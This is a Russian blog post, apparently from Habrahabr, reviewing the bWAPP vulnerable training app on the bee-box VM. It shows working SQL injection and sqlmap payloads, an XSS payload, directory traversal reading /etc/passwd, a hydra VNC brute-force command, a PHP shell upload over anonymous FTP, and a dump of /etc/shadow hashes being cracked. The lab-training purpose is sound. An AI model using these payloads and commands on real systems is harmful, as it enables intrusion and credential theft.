habrahabr

Обзор площадки для тестирования веб-уязвимостей OWASP Top-10 на примере bWAPP

  • воскресенье, 15 февраля 2015 г. в 02:12:04
http://habrahabr.ru/post/250551/

Привет, Хабр!

В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.

image



Краткий ликбез:

Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.

Сам топ-10 выглядит следющим образом:




A1 Внедрение кода
A2 Некорректная аутентификация и управление сессией
A3 Межсайтовый скриптинг (XSS)
A4 Небезопасные прямые ссылки на объекты
A5 Небезопасная конфигурация
A6 Утечка чувствительных данных
A7 Отсутствие контроля доступа к функциональному уровню
A8 Подделка межсайтовых запросов (CSRF)
A9 Использование компонентов с известными уязвимостями
A10 Невалидированные редиректы


Рейтинг отражает не только распространенность, но и опасность угрозы.

buggy web application (bWAPP) — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.
Автор bWAPP — Malik Mesellem (его блог)

image

Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина bee-box, которая и будет использована в статье.

Список уязвимостей, что вы встретите в bWAPP:
  • SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
  • Blind SQL and Blind OS Command injection
  • Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
  • Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
  • Cross-Site Request Forgery (CSRF)
  • AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
  • Malicious, unrestricted file uploads and backdoor files
  • Authentication, authorization and session management issues
  • Arbitrary file access and directory traversals
  • Local and remote file inclusions (LFI/RFI)
  • Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...
  • HTTP parameter pollution and HTTP response splitting
  • Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
  • Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
  • HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
  • Unvalidated redirects and forwards, and cookie poisoning
  • Cookie poisoning and insecure cryptographic storage
  • Server Side Request Forgery (SSRF)
  • XML External Entity attacks (XXE)



Что вас ждет в статье:
  • Освещение нескольких уязвимостей — поиск, эксплуатация, использование пентест программ.
  • Прохождение bwapp несколькими способами, не используя веб.


На кого расчитанна статья:
  • На людей увлеченных информационной безопасностью, веб-разработчиков (я надеюсь:)), всех, кому интересна тема информационной безопасности, и чья работа так или иначе связана с веб-технологиями.


Требования:
  • Жажда знаний
  • Машина, на которой вы развернете bWAPP.
  • Опционально — опыт использование пентест тулз, обзор и использование которых широко освещены на Хабре.


Цель статьи:
  • Показать отличную площадку для тестирования своих навыков пентеста и/или разработки. Кратко ввести в курс дел безопасности веб-приложений. Ну и само соревнование никто не отменял :)


WARNING!

Чего не будет в статье:
1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.
2. Обзора программ, которые помогают при пентесте.

Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.
Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.

SQL-injection


Выбираем SQL Injection (GET/Search)

Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.



Подставляем кавычку, получаем ошибку:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search

Воспользуемся техникой order by и подберем количество столбцов:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search

Оно равно 7:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search

Дальше используем union:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search

Получаем номера столбцов:


Получаем имя БД, юзера, хеш пароля:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search



SQL Injection (POST/Search)

Открываем /bWAPP/sqli_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap:
В burpsuite открываем наш запрос


Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.
Открываем sqlmap и выполняем команду:
sqlmap -r sql.txt



Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:
Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search

Просто подставим payload в адресную строку:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search   

тем самым получим токен, что означает, что задача выполнена:



Или вас интересуют XSS?


Их здесь полно и на любой вкус.

Выбираем XSS — Reflected (GET)

Подставляем
<script>alert(1);</script>





Просто почитать чужие файлы?



Откроем Directory Traversal — Files
http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt


Попробуем подставить /etc/passwd:


Откроем Directory Traversal — Directories
http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents


Прочитаем листинг /etc/:


Тестирование «черным ящиком»


Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.

Просканируем цель nmap'ом:

Nmap scan report for bee-box (192.168.1.18)
Host is up (0.0050s latency).
Not shown: 983 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
666/tcp  open  doom
3306/tcp open  mysql
5901/tcp open  vnc-1
6001/tcp open  X11:1
8080/tcp open  http-proxy
8443/tcp open  https-alt
9080/tcp open  glrpc


Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.

FTP

Воспользуемся Dirbuster:

Dir found: /phpmyadmin/ - 200
Dir found: /evil/ - 200
Dir found: /webdav/ - 200
File found: /webdav/Iron_Man.pdf - 200
File found: /webdav/Terminator_Salvation.pdf - 200
File found: /webdav/The_Amazing_Spider-Man.pdf - 200
File found: /webdav/The_Cabin_in_the_Woods.pdf - 200
File found: /webdav/The_Dark_Knight_Rises.pdf - 200
File found: /webdav/The_Incredible_Hulk.pdf - 200
File found: /webdav/bWAPP_intro.pdf - 200


Тем временем
nmap --script=ftp*

сообщает, что:

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--   1 root     www-data   543803 Nov  2 22:52 Iron_Man.pdf
| -rw-rw-r--   1 root     www-data   462949 Nov  2 22:52 Terminator_Salvation.pdf
| -rw-rw-r--   1 root     www-data   544600 Nov  2 22:52 The_Amazing_Spider-Man.pdf
| -rw-rw-r--   1 root     www-data   526187 Nov  2 22:52 The_Cabin_in_the_Woods.pdf
| -rw-rw-r--   1 root     www-data   756522 Nov  2 22:52 The_Dark_Knight_Rises.pdf
| -rw-rw-r--   1 root     www-data   618117 Nov  2 22:52 The_Incredible_Hulk.pdf
|_-rw-rw-r--   1 root     www-data  5010042 Nov  2 22:52 bWAPP_intro.pdf


Анализируя эти 2 результата, мы понимаем, что ftp папка (она же /webdav/) доступна через http.
Значит будем заливать php шелл.



Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)



Наш шелл.

VNC


Пробуем подключится по 192.168.1.18:5901



Хорошо, воспользуемся hydra:

hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc




Коннектимся… тадам! Неожиданно, но это права root'а.
Раз root, тогда смотрим /etc/shadow

root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7:::
neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7:::
alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7:::
thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7:::
wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7:::
johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7:::
selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::


Воспользуемся hashcat'ом для подбора паролей:


Вот такой улов.

Заключение


Bee-box немного выходит за рамки обычного write-up'а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.
Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования:
  • Захотели узнать, к примеру, что такое Heartbleed? Легко! Запускаете его в виртуалке в 2 клика мыши.
  • Ознакомиться/вспомнить какой-то инструмент или технологию, быстро проверив на практике, я считаю, отличный вариант.
  • Здесь вполне можно прокачать навыки пентеста, веб-технологий, применений специфичного софта.


Список литературы


Автор bWAPP — Malik Mesellem (его блог)
Сам Топ-10 OWASP
Отличная подборка тематических статей от BeLove
Вторая подборка описание пентест утилит, также от BeLove
Творение g0tmi1k — сайт, на котором собраны boot2root образы

Ссылка на виртуальную машину, в архиве 5 гб

Спасибо за внимание. Отвечу на любые вопросы.